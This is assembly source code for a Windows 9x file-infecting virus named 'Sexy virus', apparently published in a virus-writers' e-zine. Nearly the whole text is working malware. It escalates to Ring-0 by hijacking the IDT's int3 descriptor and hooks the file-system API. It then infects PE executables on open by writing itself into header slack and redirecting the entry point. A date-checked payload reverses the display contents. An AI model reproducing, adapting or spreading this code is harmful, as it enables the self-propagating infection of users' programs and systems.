;============; ; Sexy virus ; ; v 2.0.33 ; ;============; ; CAREFUL! ; THE SIZE OF THIS VIRUS *MUST* BE MULTIPLE OF 4 ; [* This virus is the first one i know to have a graphical payload ; in Ring-0. What it does is very interesting: it reverses *ALL* ; the screen contents. Heh, it's as flip payload but in Ring-0. I ; must thank to Super for bugfixing this virus, and let us publish ; it in our e-zine. - BB *] ;=================================================================== .486p locals jumps .model flat,STDCALL L equ ;------------------------------------------------------------------- VxDCall macro vxd_id,service_id int 20h dw service_id dw vxd_id endm VxDJmp macro vxd_id,service_id int 20h dw (8000h+service_id) dw vxd_id endm VMM equ 0001h MapPhysToLinear equ 006ch VDD equ 000ah Get_DisplayInfo equ 0014h CONFIGMG equ 0033h Get_Alloc_Config equ 003bh IFSMGR equ 0040h GetHeap equ 000dh InstallFileSystemAPIhook equ 0067h Ring0_FileIO equ 0032h ;=================================================================== .data db 'This is my second ring0 virus.' db 'A contribution for DDT#1' ;=================================================================== .code start: ; int 3 pushad ;save all regs call main ;------------------------------------------------ install_ring0: fstp real8 ptr [edi-4] ;restore int3 descriptor form copro stack ; (and leave copro stack as before) ; int 3 cmp ah,[edi] jz check_year ;it's already resident mov [edi],ah push L (2200h+virlength) ;number of bytes to reserve from heap fld real8 ptr [esi] ;save instruction in copro stack fix1: VxDCall IFSMGR,GetHeap ;allocate memory fst real8 ptr [esi] ;restore instruction from copro stack ;value is *not* extracted from copro stack yet pop ecx sub esi,(fix1-start) ;esi=virus start mov ch,(end_code-start)/100h xchg edi,eax ;edi=offset of reserved memory rep movsb ;copy virus to memory lea eax,[edi-(end_code-API_hook)] push eax VxDCall IFSMGR,InstallFileSystemAPIhook ;install api hook pop esi xchg esi,eax ;points to offset 4 of the newly created hook_info struct ;the hook_info struct looks like this: ; offset 0=address of hook_handler ; (the one that this struct represents) ; offset 4=address of previous hook_handler ; (the one that was installed before) ; offset 8=address of previous hook_info structure ; (the one that was installed before) movsd ;save previous hook_handler search_api_chain: lodsd ;get offset of previous hook_info structure xchg esi,eax ;esi=previous hook_info structure add esi,8 ;esi=third dword in structure js search_api_chain ;eax=Should point after the hook info struc of default handler. ; After this structure is a variable that contains the address ; of the lattest installed hook_info structure (top in the chain) stosd ;save offset that holds top chain fstp real8 ptr [edi] ; mov word ptr [edi+2],8032h ; create dinamic call ; to call ifsmgr_ring0_fileio check_year: mov al,9 out 70h,al in al,71h or al,al ;year 2000? jnz back_to_ring3 payload: enter 666,0 mov ch,2 lea eax,[ebp-50h] VxDCall VDD,Get_DisplayInfo mov edi,esp push L 0 push dword ptr [ebp-50h+4] push edi VxDCall CONFIGMG,Get_Alloc_Config pop edi movzx eax,word ptr [ebp-50h+18h] movzx ebx,word ptr [ebp-50h+1ah] movzx ecx,byte ptr [ebp-50h+1fh] shr ecx,3 mul ebx mul ecx xchg esi,eax pushad push edx push esi push dword ptr [edi+0eh] VxDCall VMM,MapPhysToLinear add esp,0ch+4 push eax popad add esi,edi bucle1: push ecx sub esi,ecx bucle2: mov al,[edi] movsb mov [esi-1],al loop bucle2 pop ecx sub esi,ecx cmp esi,edi ja bucle1 leave back_to_ring3: iret ;bye bye, ring0 ;------------------------------------------------ get_delta: cld pop esi movsd ;copy in stack the address of previous handler so as to return later lodsd xchg edx,[eax] ;make top chain null, there will be no file monitor active pushad xchg ebp,esi ;ebp="vxdjmp ifsmgr_ring0_fileio" lea edi,[ebp+(buffer-r0fio)] ;edi=start of buffer to read/write file jnz exit2 ;its not the open function push edi push edi convert: movsb ;convert it to asciiz format dec edi cmpsb jnz convert pop esi pop edi xor eax,eax mov ah,0d5h ;r0_opencreatefile cdq inc edx ;if file exists, then open the file lea ebx,[edx+2-1] ;read/write access call ebp ;open file jb exit2 xor ebx,ebx mov bh,0d6h ;r0_readfile xchg ebx,eax cdq ;edx=0=filepointer xor ecx,ecx mov ch,20h ;ecx=2000h bytes to read pushad call ebp ;read from file sub eax,ecx ;have we read 2000h bytes? jnz error ;nope, exit cmp word ptr [esi],'ZM' jnz error ;its not a MZ header mov ebx,[esi+3ch] add ebx,esi cmp ecx,[ebx+54h] jna error mov ecx,[ebx+54h] ;size of file header shr ecx,2 search_more: repnz scasd jecxz error cdq check_zeros: dec edx scasd loopz check_zeros cmp edx,-((virlength+7)/4) jg search_more push -((virlength+3)/4) pop ecx lea eax,[edi-4] sub eax,esi lea edx,[eax-(virlength-(4+fix2-start))] lea eax,[eax+ecx*4] xchg eax,[ebx+28h] ;set new entrypoint sub eax,edx mov [ebp-(r0fio-fix2)],eax copy_virus: mov edx,[esi+ecx*4-(buffer-end_code)] mov [edi+ecx*4 -4],edx inc ecx jnz copy_virus cmp byte ptr [ebx],'P' error: popad jnz closefile ;error, exit inc eax ;r0_writefile call ebp ;write header+virus = 2000h bytes closefile: mov ah,0d7h ;r0_closefile call ebp exit2: popad mov [eax],edx ;restore top api chain exit: popad _ret: ret ;jump to previous hook ;------------------------------------------------ main: mov ecx,cs pop eax ;eax=start of ring0 code xor cl,cl jecxz jump_host ;jump if winNT lea esi,[eax+(fix1-install_ring0)] ;esi=instruction to patch push edi sidt fword ptr [esp-2] pop edi ;edi=start of IDT add edi,8*3h ;edi=int3 descriptor fld real8 ptr [edi] ;save in coprocessor stack this descriptor cld stosw ; scasw ; create an intgate descriptor mov ah,0eeh ; mov [edi],eax ; push ds push es int 3h ;jump to ring-0 ! pop es pop ds jump_host: popad ;restore all regs db 0e9h ;jump to host entrypoint fix2 dd (_ret-fix2-4) ;------------------------------------------------ db '[Im 2 Sexy]' ;------------------------------------------------ API_hook: push eax ;reserve space in stack to copy the address to next handler pushad lea edi,[esp+20h] mov ebx,[edi+4+18h] ;get ioreq structure xor edx,edx mov ebp,[ebx+2ch] ;ebp=filename in unicode format cmp byte ptr [edi+4+08h],24h ; is this a file open? call get_delta ;------------------------------------------------ end_code: virlength equ ($-start) old_API dd ? api_chain dd ? r0fio: VxDJmp IFSMGR,Ring0_FileIO buffer: ;------------------------------------------------------------------- ends end start